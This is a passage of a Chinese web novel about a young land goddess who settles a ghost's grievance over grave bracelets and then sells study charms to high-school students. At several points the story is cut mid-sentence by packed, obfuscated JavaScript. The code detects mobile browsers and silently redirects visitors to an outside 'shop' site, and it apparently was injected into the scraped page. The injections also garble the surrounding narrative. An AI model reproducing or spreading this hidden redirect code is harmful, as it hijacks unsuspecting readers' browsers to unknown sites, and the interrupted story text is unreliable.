商小玉的话在钱红脑子里不断回响,她问了丈夫几遍,得到的回答都是镯子是他买的,钱是攒的私房钱,绝对不是挖出来的,但想起丈夫一惯德行,她并不完全相信。 而且,这半个月,家里的确发生了一些事情。 一家四口人接连不断地生病,丈夫抱怨每天身上都有几块青紫,甚至昨天,她差点被高空抛物砸到脑袋。 难道真像那个小姑娘说的,她家有那个…… 不,不可能,别自己吓自己了,都是巧合而已,世上哪有鬼啊。 晚上,丈夫照旧是喝了几瓶啤酒,醉醺醺的上床睡觉,钱红却睡不着了,洗完澡后,她下意识挑了一件大红色的睡衣。 老家有个说法,在鬼的世界,大红是厉鬼穿的颜色,所以鬼怕红衣。 钱红翻来覆去睡不着觉,于是爬起来倒了杯水喝,在喝水时,又因为惧怕客厅昏暗空旷,不由自主地朝南向大阳台挪了过去。 只是去阳台上吹吹风,屋里太热了,绝对不是怕…… 钱红看了一眼时间,很巧,时间正好到了00:00。 吱呀—— 卧室门开了一条细缝。 钱红吓了一跳,半边身子都凉了,盯住房门,但什么都看不见,门后面漆黑一片。 那条细缝在慢慢扩大,钱红的心也提到了嗓子眼。 终于,房门打开了一半,她丈夫缓缓走了出来。 吓死个人了,原来是这个王八蛋。钱红刚要出声,突然觉得不对劲。 她丈夫赵晓宝,穿着一条她的粉色连衣裙,踮着脚尖,一小步一小步,款款地扶着他那硕大的啤酒肚走入客厅。 钱红死死捂住嘴巴,不动声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253678|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色地蹲下身,躲在阳台的小角落里,悬着的心终于死了。 结婚二十年,她发誓丈夫绝对没有女装癖,这绝对不是他本人。 有鬼啊呜呜呜! “赵晓宝”在客厅里走了一圈,目光有几次扫过钱红,在她以为自己被发现了的时候,对方又若无其事地移开视线,最后,坐在梳妆台上。 他对着镜子,吃吃笑着,梳理自己的地中海脑袋,拿起钱红的化妆品挨个查看,给自己上了个美美的全妆。 钱红用自己为数不多的理智评价,虽然对方对化妆品不太熟悉,但化妆手法还算可以,两条柳叶眉画得很对称。当然,她基本上快吓疯了。 “赵晓宝”化完妆,戴上那两枚大金镯,挑了个包拎着,款款地挪动脚步,出门了。 大门关上许久,钱红才回过神,扶着墙站起来,两腿发软地冲进儿子房间,把五岁儿子抱起,又冲进女儿房间,把人叫起来。 赵莹莹此时还没睡觉,有气无力地坐起身:“怎么了妈?” 钱红急的要命,什么话都来不及说,拉着人冲家门,坐电梯下楼,冲出单元楼。 “妈,我们去哪儿啊?” 钱红定了定神,“去桃枝山。” ** 商小玉半夜被吵醒,打开门,看到母子三个狼狈的模样。 “她又上身了?” 钱红一路上都生怕丈夫追过来灭口,一直到现在,透过半开的门看到殿中沐浴在香火中的神像,才觉得自己得救了,放下儿子,软着腿坐在地上,哇的一声哭出来,“大师,求你,救救我老公吧!” 商小玉转身,“进来说吧,你老公会没事的。” 赵莹莹和弟弟还不知道发生了什么,疑惑:“我爸爸怎么了?” 另一间偏殿是接待香客用的,商小玉烧水泡了壶热茶,给三人暖暖身体。 虽然是夏夜,但三人阴气入体,觉得很寒冷,都没有拒绝热茶。 钱红颤着嗓子,把刚才遇到的场景说了一遍。 商小玉倒也没想到事情那么刺激,那女鬼还怪会玩。 她沉吟片刻,得知赵晓宝出门带了手机,也懒得用灵视找了,说:“给她打电话。” 钱红一呆:“啊?” 商小玉摊手:“要想解决,总得先把人找到吧。” 钱红哆嗦着手,把手机开锁,递给商小玉:“我,我不敢。” “在你家住了不少天了,都熟人,有什么不敢的。” 钱红:“……大师,别开玩笑。” 商小玉拨通电话,一分钟后,电话自动挂断,对方无应答,她又打过去。 三次之后,电话接通,“赵晓宝”不耐烦的声音传来:“你烦死了,别打了行不行?” 这声音是赵晓宝的,但刻意捏着嗓子说话,尾音带了些许女人的声调,难听又恐怖。 “不行。”商小玉笑眯眯的,“你违法了知不知道?赶紧从人家身上下来,否则我打散了你。” “赵晓宝”沉默了会,遇到比自己还嚣张的,她怂了,小声说:“我还没玩够呢。再说了,是他先动的手,你不能那么粗暴。” 9. 夜半梳妆 最后,“赵晓宝”还是心不甘情不愿地回去了,但不是她自己主动回去的,而是有人报了警。 “赵晓宝”穿得花枝招展跑去逛街,被人当成异装癖变态报了警,警方把人带回派出所,打电话给钱红让她来领人。 钱红还没出土地庙,就在热搜上看到了“赵晓宝”扭着啤酒肚逛街的视频,绝望地哭了出来。 她好恨自己下午的时候没听劝。 这下可好,社死了。 商小玉抿着嘴巴,不敢跟赵家人对视,她好怕自己笑出声来。 钱红不敢让孩子跟着,请他们暂时呆在土地庙,一个人到了派出所办完手续,把人领到了土地庙,请大师给个主意。 家,她暂时是不敢回了。本来丈夫也不敢要的,是大师说派出所阳气重,鬼压不住,肯定早就跑掉了,她才敢去。 赵晓宝一路上都是懵逼的,晕乎乎地问:“老婆,我梦游了?” 他记得自己好好地在床上睡觉呢,怎么一醒过来人就在派出所了? 钱红还害怕着,凑在商小玉身边不敢看他。 商小玉说:“鬼暂时离开了。”这只鬼道行应该不高,不敢受阳气冲撞。 钱红听了,冲过去提手就揍了他两掌,“你个混账,看看把我们害成什么样子了!你到底做了什么,你说啊,你说啊!” 赵晓宝怂怂的不敢还手:“我什么都没做啊?这是怎么了?” 赵莹莹不堪忍受地小声提议:“爸,你打开前置摄像头看看自己的脸。” 赵晓宝看看自己的花裙子,又从手机里看到自己的妆容,大叫一声:“卧槽,这是谁干的!” 他十分愤怒:“这是谁给我化的妆?莹莹,是不是你?” 钱红冷笑,调出热搜视频,“谁没事会动你啊,自己看吧。” 视频中,“赵晓宝”腰肢款摆,仿佛大家闺秀,旁若无人地看着风景,如果遇到什么店铺,必定要停下来逛一会。 视频非常清晰,并且评论区还有人给出了地址,都快把他的名字挂上了。 赵晓宝都快哭出来了:“这,这是我吗?我没印象啊?” 钱红懒得搭理他,祈求地问:“大师,这事儿能解决吗?只要能解决,我愿意出五千,不,一万块钱!” 商小玉问赵晓宝:“你先说说,金镯子是哪里来的吧,把事情说详细点。” 赵晓宝还想搪塞,又被妻子痛殴一顿,才老实了些。 “那天晚上朋友请喝酒,结果喝一半他老婆生气,把哥几个全赶出来了。但是酒又不能不喝,我们就在野地里一边遛弯一边喝酒。” “然后,在山上转圈的时候,就看到野地里有两个老镯子,捡起来一看,竟然是金的。我寻思你不老念叨着想要金镯子嘛,就找人洗了洗送你了呗。” 商小玉:“就这么简单?你捡镯子的位置,是不是刚好有个凸起的,小小的,坟头,旁边还刚好竖了个碑?” 赵晓宝看看钱红,不敢说是,含糊地说:“可能有吧,喝多了,看不太清。” “可能有!?”钱红一巴掌拍向他脑壳,骂一句拍一下,“可能有!可能有!你他妈的从坟上捡镯子给我戴!猪脑壳,蠢货!你是觉得我活的太久了想送我投胎是吧!” 赵晓宝抱着脑袋哭:“人家放在地上就是不要了嘛,我捡起来废物利用而已,又不是从坟里挖的,谁知道不能捡啊,别打了!” 商小玉无语,那坟头的金镯,可能是盗墓贼挖走,发现有问题又扔回来的,也可能是鬼放在那诱惑路人上当的,总之,这种来历蹊跷的东西可不是那么好拿的。也就幸好这个女鬼不算特别凶,没有杀人的意思,否则半个多月,这一家子人早就没了。 钱红把金镯放在商小玉面前,问:“大师,你看看这要怎么处理?” 商小玉想了想,“现在女鬼跑了,一时半会不敢露面,但她的坟就在那里,说解决也简单。按照业界规矩,先礼后兵,你们明天准备些供品香烛,去那女鬼坟前祭拜,把金镯还回去,再诚心给她磕头道个歉。” 赵晓宝不太情愿,“就这么简单吗?如果她还是不肯走呢?” 商小玉冷眼看他,说:“你先用四柱香拜她,一定要诚心诚意磕头道歉,如果香是正常燃烧的,说明她接受你道歉,这事儿了结;如果香灭了,就说明她不肯善罢甘休。你告诉她,阴阳有别,各行各路,她若有冤屈,就来桃枝山伸冤,若是胆敢搅扰凡人生活,就别怪我下手狠了。” 土地不光管阳间人,也管阴间魂,虽然那儿不是她辖区,但是又没人告她捞过界。 钱红见她态度那么强硬,心一下子定了,这明显是能管事儿的啊。 赵晓宝则不太相信,他总觉得自己喝醉了,撒了点自己都不知道的小酒疯。鬼?世上真有鬼吗?虚无缥缈,不怎么可信。 他觉得商小玉一个瘦弱矮小的女孩子只是骗钱而已,那金镯沉甸甸的,少说十几万,就因为这点事丢回去,他不舍得。 那可是金镯子,傻子才丢掉呢! 商小玉看出他不太相信,但世事就是如此,如果没有死到临头,人总是有侥幸心理,挥挥手,“等事情解决了再给钱就行。” “多谢大师。”钱红拉着孩子上了香,很虔诚地拜了拜,也没真的不给钱,给商小玉扫了三千块红包过去,说明天解决了再来还愿。 她可是很清楚,这位大师是有真本事的,赵晓宝绝对被女鬼女鬼附身了,电话里她那两句话,听得简直让人起鸡皮疙瘩。 而且神奇的是,拜过土地娘娘之后,钱红身上的阴冷和疲惫感竟然减轻了许多,她更加坚信自己的判断了。 商小玉见她这么爽快,便一视同仁,从供桌上捡了四枚平安符递给钱红,正好陈湄说清心符有用,晚上回来之后刻了两枚,一起给了出去。 “平安符每人佩带一枚,可以保平安的。清心符给孩子戴,能让头脑清醒,学习更专心。” 钱红连连感谢。虽然她不太相信小小的桃符有什么用,但是免费的又不要钱,也就收着了,反正还挺好看的。 * 钱红勒令丈夫第二天一早就向公司请假,买了鸡鸭鱼、香烛等供品,一起去给女鬼道歉。 赵晓宝还不太乐意,但奈何家里一直是妻子做主,被揪着耳朵上了车。 到了地方,两人顺利找到女鬼的坟墓,这处地方很偏僻,坟头矮小,周围荒草丛生,墓碑歪向一边,一副很久没人打理的样子。 根据墓碑上刻的生卒日,这墓里是上个世纪初的女子,18岁就死了,怪不得坟墓荒废成这样。 钱红心道可怜,掏出供品仔细摆好,两枚金镯放在正中,拉着赵晓宝一起跪下,拈四柱香,按商小玉说的诚心道歉,并且愿意找人帮她重新修整坟墓。 赵晓宝却不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253679|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪,但又不敢不听,一条腿跪着,另一条根本没落地。钱红道歉的时候,他眼睛只往金镯子上看,心里盘算怎么瞒着老婆把金镯子带走。 带回家肯定不敢,但是可以悄悄找个地方卖了,那么大一笔钱呢。 钱红把四柱香插在香炉中,屏息等了会,香燃烧得好好的,没有断。 说明对方接受道歉了,太好了! 钱红拍拍丈夫,示意他也赶紧上香,这时手机铃声响起,她走到一边去接电话。 赵晓宝连忙把镯子捞起来塞进口袋里,随手把香插在香炉中,戏谑地说:“镯子我拿走了,你要是有冤,就去桃枝山土地庙伸呗,让那女骗子抓我。” 他一早就被拎了起来上菜市场买菜炒菜,但都是供品,老婆不让碰,到现在还没吃饭,于是顺手抓了几块肉塞进嘴里,看看老婆没看这边,又撕了条鸡腿啃。 他吃了个半饱,见老婆打完电话往这边走,连忙一抹嘴,站起身拍拍膝盖上的泥土,起身时,看到他刚刚那四柱香在香炉中全灭,而钱红上的香却燃得好好的。 他愣了愣,心想大概是买的香质量不好吧。 也没多想,截住老婆不让她发现坟前的狼藉,拉着人走了。 呼—— 山间起风了。 ** 钱红回去后忙工作,走之前给丈夫一枚桃符,让他随身戴着。 赵晓宝答应得好好的,转头就丢到沙发上。 木头小玩意,不值钱,骗傻子的。 既然已经请了假,不如就休息一天。这么想着,赵晓宝去了金店,但走遍所有金店,问过都不收他的金镯,说是来历不明。 赵晓宝很生气,只好暂时作罢,转头去找狐朋狗友喝酒。 天降横财,怎么不能庆祝一下呢,顺便还能问问朋友,知不知道什么收金子的途径。 这一喝就是一整天,从上午一路喝到晚上。 太阳缓缓落下地平线,天色转暗,仅有西边灿烂的橘红色火烧云烧红了半边天。 正和狐朋狗友商量着去哪里邀个朋友再续一顿酒时,赵晓宝突然感觉身后贴上来了什么阴冷的东西。 他打个寒战,转头:“什么东西!” 他看到了半边脸白骨、半边脸惨白的女人。 “啊!!!鬼,鬼啊!!”赵晓宝酒醒尖叫。 他朋友眯着眼笑哈哈:“老赵喝醉了哈哈哈。” 赵晓宝:“你们看不见吗!有鬼啊,女鬼!” “女鬼?长得好看吗?过来给老子倒酒。” 赵晓宝清晰感觉到,那女主冷笑一声,在他脖子一侧喷了口凉气。 浑身鸡皮疙瘩狂冒,精神顿时萎靡了许多,好像生了一场大病。 不是,又不是他调戏女鬼,干嘛报复他啊! 那个桃枝山的大师说得竟然是真的,有鬼啊呜呜呜。 赵晓宝绝望地望向他醉得东倒西歪的傻逼朋友们,头一次对自己的人际关系如此失望,没有一个人看出来他需要点帮助! 现在就是后悔没有听大师和老婆的。 “对不起对不起,我真的不知道有鬼,我把金镯子还给你好不好?” 女鬼冷笑,尖着嗓子说:“晚了,跟我去桃枝山伸冤吧。” 她伏在赵晓宝背上,冰冷的手掌有些地方已经腐烂见骨,死死掐着他的脖子,越收越紧,命令他动身。 10. 第 10 章 赵晓宝的脖子被掐着,呼吸短促,头脑缺氧,痛苦地站起身。 女鬼趴在他背上,并没有什么重量,但肩膀和腰很痛,根本直不起来。 赵晓宝不敢跟女鬼说话,垂着头,弯着腰,离开酒桌。 狐朋问:“老赵,去哪儿啊,这才八点。” “尿急吧,看他脸都憋紫了。” 赵晓宝:神经病啊他这是被掐的! 唉,靠不住,完全靠不住。 喝酒的地方距离桃枝山很远,他只得自己走到路边,打了一辆车去往桃枝山。 这一路恐惧、被阴气入体的生机流失,身体上的疼痛压得赵晓宝喘不过气,可又无人能帮他,真是痛苦极了。 好不容易到了桃枝山,顺着台阶爬上山腰。赵晓宝顺着开着的土地庙门看到里面的灯火,商小玉坐在蒲团上忙碌的身影,一下子安心了,噗通跪下,毫无形象地咧嘴大哭。 “大师,是我错了,我之前不该不相信你,求你救救我吧!” 商小玉早知道这个人贪婪,要再吃一遭苦,果然这么快就来了。 她不理赵晓宝,对女鬼说:“你有什么冤屈,过来说话吧。” 女鬼一改刚才的凶煞,早就从赵晓宝身上飘了下来,乖巧地远远跪在商小玉面前。 她死的比较久,知道的东西也多,看到土地娘娘像和商小玉之间隐隐的联系,和她身上淡金色的神光,心生大骇。 天啊,她做鬼上百年,头一次见活的真神,会动的! 恐惧之余,又觉得安心。 她没有害人,娘娘说要给她伸冤,就是会公正断案,不会偏心凡人,她还有什么好怕的。 “娘娘,民女好惨啊,先是被盗墓贼搅扰,偷了贴身物件,后来好不容易还回来了,又被这人路过偷走,那可是我娘给我的嫁妆!偷东西就算了,他,他竟然往我坟上撒尿!太无礼了!” 商小玉无语:“……你也太缺德了吧?” 赵晓宝脸红:“我也不知道不能撒尿啊。” “这话说的,你朝你祖宗坟上撒尿吗?” 他:“这个真不敢……对不起,我错了。” 女鬼哭诉:“我确实在他家玩了几天,那是因为他有错在先,我算脾气好的了,只是上身逛了逛街,都没故意吓他们。害怕伤赵莹莹的身体,也就附身过她两回,都是附身这丑男人,最多也就让他生两场病,对比他做的那些事,不算过分吧?” “后边我想着看在娘娘的份上,他老婆道歉了,又还回了镯子,还说要帮我修坟,我便也大度些好了,可他根本没有一点悔改,不光不道歉,还偷吃给我的供品!我一辈子没吃过别人的剩菜!怎么能这样过分,太欺负鬼了!求娘娘给我做主啊!” 赵晓宝瑟瑟发抖:“我,我重新上供,我道歉,行吗?” 女鬼愤怒:“晚了!我不接受!” 赵晓宝求助地望向商小玉。 她想了想,对女鬼说:“这姓赵的确实蠢钝,打扰你安息是他有错在先,但是呢,罪不至此,咱们就谈谈给你的赔偿。你死了上百年,想必早就没有家人祭拜了,我让赵家人从今往后一年四回地上坟祭拜,给你烧香好不好?” 女鬼意动了,鬼虽然不用吃饭,但没有供品香火,也是会饿的,能有人年年祭拜当然最好了。 可是,对方既然好声好气,她就想加价码,哭哭啼啼地擦眼泪:“民女年方十八,还未婚配就一场大病没了性命,这些年孤苦伶仃,若是,若是有夫君儿女,想来也不会这般被人欺凌。” 赵晓宝大惊失色,抱紧自己:“我可不能娶你,我有老婆的!” 女鬼气的手抖,“呸,你想屁吃,又老又丑的男人,你撒泡尿照照自己,哪个女鬼看得上你?我是想找个帅哥配阴婚,再认赵莹莹当干女儿好吗!” 赵晓宝:“我,我也没有很丑好吗,我年轻那会也帅过的……” 商小玉扶额:“我上哪里给你找帅哥去,你注意点,别漫天要价哦。”她自己都还是母胎单身好吗。 女鬼听到威胁的意味,瑟缩了下,只好退一步,“那我用那两枚金镯子换莹莹认我当干妈行不行?这样就算我有后了,否则你们祭拜我也没个名目。” 赵晓宝眼睛一亮:“这个可以,我同意了!” 既然人家同意,商小玉也管不着,便道:“那事情就这么定了。赵晓宝,你以后安分些,别冲撞阴人,这次是人家性情良善,碰见凶恶的,你哭都来不及。你也不许再随意附身别人了。” 两人一起答应下来。 赵晓宝尤其高兴,他今天还以为自己见不到明天的太阳了呢,太吓人了。 没想到在大师的调解下,女鬼温顺得跟绵羊一样,看在金镯子的份上,他甚至觉得女鬼也不是很吓人了。 商小玉叫赵晓宝拿出金镯子,挥手去除了上头的阴气,如此,金镯就不会害人了。 一人一鬼各自下山回家。 赵晓宝回家后当然免不了挨一顿骂,但事情完美解决,还赚了两枚金镯,总归是高兴的。 隔日,赵家夫妻来山上还愿,给了商小玉许诺的另外七千块香火钱。他俩大概是听了什么点拨,说下个月初一带供品来上香。 这就是要做土地庙的固定信徒了,商小玉当然欢迎。 除此以外,商小玉还收到了一些功德,是上次捐款的反馈,今日这些香火等于让她吃了一顿饱饭,像冬天晒太阳,浑身暖洋洋的,从来没有那么舒服过。 陈湄下班来找她时,一眼就看出:“阿玉,你变漂亮了哎,快告诉我用了什么牌子的护肤品!” 商小玉摸摸脸:“什么都没涂啊,哪里漂亮了?” “皮肤变白了,没有之前那么黄,脸颊不凹陷了,气色好多了。”陈湄比划了下:“感觉长高了一点哎,可是你都22岁了,早就不长个了吧,可能是错觉。” 商小玉眼睛亮亮的,唇角止不住上扬,连忙跑去穿衣镜前,发现的确气色好了很多,真的长高了一点点,只是不明显。 因为神力不够,她的肉身一直没能得到足够的营养,所以才看起来像个没长大的孩子,现在神力多了些,立刻反应到身上了。 她想向师父炫耀一下,又觉得过于幼稚,不符合一惯成熟淡定的形象,勉强压住了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253680|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 女装热搜的事件在学校里也掀起了波澜,赵晓宝是参加过家长会的,班里有人认识他,于是“赵莹莹”的爸爸是个女装癖这件事传遍校园,即便学校压过舆论,也一时很难遏制。 班主任为此找赵莹莹谈话,这个学生成绩一直不错,她不希望这件事影响她的学习。 但实际上,这件事虽然带来了一定的困扰,并没有影响到赵莹莹学习。 她之前生病一场,后来又阴气入体,有半个月没怎么听课,事情解决之后,再有一周就要月考了,本来以为这次一定考砸,于是拼命复习。 神奇的是,赵莹莹的复习效果特别好,进度也快,经常能埋头一学就是一个小时,专注力超乎寻常地好,也就是进入了心流状态。 原本她是很难进入这种状态的,但现在每天都可以! 这次的月考,所有老师同学都以为赵莹莹的排名会掉,就连一向严格要求女儿的钱红都放宽要求,提前安慰她一时的退步不妨碍大局。 但成绩出来之后,所有人都大跌眼镜,赵莹莹仍然在班级前十名,年级前五十名,跟上次的名次一模一样。 虽然名次没有进步,可是也要考虑这次月考比较难,好几个年级排名靠前的都掉了。而且,她之前状态一直很差的,满打满算,复习时间也就一周。 难道她拿到了什么考神秘籍吗? 同桌女生一直与赵莹莹名次相近,这次努力复习却考出了个第十二名,生气之余,也虚心请教同桌。 “你为什么只复习一周,也考那么好啊?是额外报了什么辅导班吗?推荐一下?” 她也要去报名! 周围前后左右的同学眼睛看着试卷,耳朵却悄悄竖起凑过来。 赵莹莹也不藏私,笑着说:“我说了你不会相信的。” “信不信是我的事,你快说!” 她从脖子里掏出项链,项链上串着两枚桃符,她给同桌看那枚小小的清心符,“喏,就是这个,我妈妈在桃枝山土地庙给我求的清心符,说起来很奇怪,戴上之后,我进入心流状态特别快,复习也快,除此之外没有报多余的辅导班。” 同桌凑过来,捏着桃符翻来覆去地看了一圈,除了正面那两个字,其他没什么特别的。 前桌也跑来,“我是狗鼻子,给我闻闻看,是不是喷了什么奇怪的违禁药品。” 她闻了半天,除了桃木本身的木香,没有其他味道。 难道是心理作用? 比较尖酸刻薄的就嗤之以鼻:“搞笑吧,不想说自己上什么辅导班就直说,说什么清心符,这不扯淡吗?” “就是就是。” 大部分都不相信。 不愧是脑子比较好使的高中生,后桌说:“讨论不出结果的,我们做个实验吧,咱们班的人轮流戴赵莹莹的符,看看能不能提高专注力怎么样?我们样本数还算多,基本上能够验证出玄学究竟有没有作用。赵莹莹,可以吗?” 后桌是个学霸大帅哥,赵莹莹脸颊微红,说:“我相信桃符是有用的,大师很厉害的,我干妈……总之,我愿意借桃符给大家做实验。” 11. 第 11 章 高中生对什么都好奇,全班都踊跃报名,赵莹莹按照报名顺序列了个表格,每人45分钟的时间。 学霸魏春阳第一个提出来的,于是理所当然第一个报名,接过了还带着赵莹莹体温的桃符项链。 魏春阳怕热,很容易中暑,现在刚夏至,还没到最热的时候,班级不开空调,他就常常热得需要擦汗了。 刚好今天气温比较高,他头脑有些昏沉,难以沉下心来学习。 刚戴上桃符时,还没有明显的感觉,喝了几口冰水,他找出一张难度比较高的数学试卷,提笔做起来。 魏春阳陷入题海中不能自拔,突然肩膀被拍了一下,把他从数字的海洋中叫醒。 “春阳,下课了,45分钟到时间了,该换我了。” “我不是刚开始吗?怎么到时间了?”他恍然,抬起左手看时间,发现自己手里还攥着保温杯。 他做题太过于沉浸,喝完水忘记放下杯子了,这一节课时间,居然丝毫没有觉察。 魏春阳作为学霸,本身学习的专注度就挺高的,学习习惯很好,但是这么好的学习状态也不是常常都有的。 他刚才一次也没有热到中断学习,完全进入了心流状态,看到题目,解题思路自然而然就浮现在脑海中了,顺滑得他自己都觉得不可思议。 还想再做十张卷子! 同学又一次催促,他恋恋不舍地摘下桃符,“其实话说回来,一节课时间太短了,这样测出来的结果不够严谨,我真诚提议再延长一节课时间。” 第二名脑子也很好使,“我听你胡扯。”转头走了。 魏春阳掏出答案簿,对了一下,正确率很高,是他平时做题的最高水平了。 他伸长脖子问:“莹莹姐,你的清心符是哪里买的来着?桃枝山对吗?” 赵莹莹露出了然的微笑,“很有用的吧?” 魏春阳虽然不懂其中的原理,但是坦然承认:“非常有用,我也打算去买一个,不,两个!”他的零花钱不多。 一整天,班级就出现了种奇怪的现象,每次下课,都能看到有个人在哭。 “再给我点时间,这道题我马上就要解出来了!一分钟!” “不可能!到时间了!莹莹姐,你快来主持公道啊,这厮赖账!” 赵莹莹迅速成了班级一姐,哭笑不得,“按说好的时间来,不许赖哦。” 一天时间不会让每个人都轮到,但是有幸用过清心符的都说好,让没轮到的抓耳挠腮,想知道具体怎么个好用法。 下午五点十五分,土地庙一整天没有人来,商小玉已经习惯了,给小菜地浇了水,打算关门下山,去菜市场买菜。 上山的小径突然涌上来几个穿校服的高中男生,商小玉以为是附近来爬山的,没在意,掏出大锁,准备关门上锁。 “别别别关门啊漂亮姐姐!” “别关别关!我们要买清心符!” 商小玉眼睛唰地亮了,一二三四,四份香火! 魏春阳几人围住商小玉,“姐姐,我们班赵莹莹说从你这请了清心符,特别好用,我们都想买,多少钱呀?” “姐姐,我们是学生,有打折吗?” 商小玉微笑:“可以呀,你们在我庙里拜一拜,上柱香,清心符打九折。” 她刻了不少符出来,清心符也有十几枚,在神前供着,以45块钱的价格卖出去5枚。 本以为已经结束了,没想到接着又冲进来十来个女高中生,嘻嘻哈哈地嫌男生们跑得太快。 商小玉纳闷:“你们组团来的?” 赵莹莹也来了,骄傲地挺挺胸:“大师,是我推给他们的。” 小小的神殿里站了十几个人,挤挤挨挨的,商小玉把偏殿里所有的蒲团都拿出来请他们坐或者方便拜神,两个小香炉插得满满的。 相比于男生的实用主义,女主们注意到殿里供的不是一般的土地公公婆婆,很新鲜地询问,而且年轻人的接受度也很高,问就是好看。 有个小姑娘脸红红地说:“神荼好帅啊。”这姑娘因此买了一枚神荼镇宅符,但并不舍得挂在门口,而是挂在了笔袋上。 “土地娘娘也好漂亮。” “对啊对啊,小小的,真可爱。” 可爱倒不用强调。商小玉在心里说。 “姐姐,土地娘娘手里的桃枝是真的还是假的?有绿芽哎。” “肯定是假的啊,不然得天天踩梯子上去换吧?” 哎?商小玉抬头望去,看到土地像手里执的桃枝顶端不知道什么时候悄悄冒了片绿芽,嫩绿色,在彩绘剥落的神像手中,显得格外可爱。 其实那原本只是一根枯枝,二十年没有变化了,可能是因为这两天香火比较多,竟然催生出了嫩芽。 倒也神奇。 女生们几乎每个人都买了两三种桃符回去,刻着古老文字的木牌线条简洁,木质润滑,很有种古朴之美,拿来当装饰品也好,更何况它还有用,必须要买。 商小玉所有的清心符都卖光了,平安符和神荼镇宅符也卖了不少,赵莹莹悄悄提醒她之后还会有人来。 商小玉握拳,决定今晚不睡觉了,反正睡觉对她来说也不是必须的。 她要做一百个清心符。 最近桃符在枫林路中学火起来了。 一开始只在二班小范围有名气,自习课时,教导主任经常偷偷地从每个班级后门窗户头盔检查,路过好几次,二班都安安静静,学习气氛浓厚得跌他一个大跟头。 高兴归高兴,深知学生们都是属猴的教导主任不大相信,以为是学生跟他打游击,于是加重脚步离开,没一会又矮着腰,顺墙根溜了回来,蹲在二班后门偷听偷看。 陈湄路过,看到教导主任鬼鬼祟祟的样子十分无语,得知他的疑惑,她笑说:“二班学生最近确实很爱学习,上课开小差的都少了。” 但她不告诉主任为什么,让他蹲着吧。 教导主任蹲了一个周,把蹲点偷窥技术精进的出神入化,然后得出二班人上课的确很认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255437|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的结论。 隔壁三班都闹成猴山了也不影响他们学习。 在他的偷偷调查下,得知二班使用了新武器清心符。 “清心符?符?难不成是群体性癔症?离谱,太离谱了。”教导主任把这件事在开会时当做笑话告诉了其他老师,让他们分析到底是为什么。 结论当然是心理作用。 在一个月后的月考中,二班的平均分居高临下,比其他班级都高,那几天,二班班主任走路都是挺着肚子叉着腰,用鼻孔看人的。 其他班主任坐不住了,难不成清心符真的有用?不管符有没有用,哪怕是心理作用也是有用的呀。 于是他们纷纷暗示本班学生和家长也去桃枝山土地庙买符,当然不会明着宣传封建迷信,只是表扬一下二班同学最近很上进,成绩进步显著。 你问二班同学有什么秘籍?秘籍嘛,不知道,只是他们最近都喜欢去桃枝山土地庙请清心符,可能有一定的心理作用加持。 其他家长们将信将疑地去请了符,发现真的有用,于是成了土地庙的信众。 商小玉的庙里香火一下子多了许多,每天做符做到手软。她让人在庙前面铺了石板,摆了些石质桌椅供信徒休息。 原本冷清的庙多了人气,整体看起来就不那么破败了,还能称赞一声古雅质朴。来桃枝山爬山的游客们看见庙门口有人,也被吸引来不少。 问就是这间庙的土地娘娘保佑学业特别厉害,名声就这么传扬开了。 香火一多,商小玉的模样也逐渐发生变化,褪尽了黄气,面色白皙红润,像年幼的女孩突然长开了身体,变成了亭亭玉立的大姑娘。 她发现,院子里原本半死不活的大桃树,也逐渐有枯木逢春的模样,长了不少嫩叶,如果一只能有稳定的香火,或许在几十年后,这棵树还能重新开花结果。 这天,庙里来了个熟人找商小玉。 这人是杨岭,之前钓鱼钓上来一具女尸的人。 他上来就神神秘秘地说:“大师,给你介绍个活儿,我表哥遇见鬼了!” 商小玉问:“你看见了?” “那倒没有。”杨岭拉过一旁的老年男子,“这是我表哥,张兴,让他说说吧。” 张兴无奈地说:“我本来今天请假是要去医院检查的,现在都快来不及了。” 杨岭说:“你上周不是已经检查过一次了吗,除了高血压颈椎病,什么都没查出来,你信我一次,大师真的很灵。快快快,告诉大师你今年几岁!” 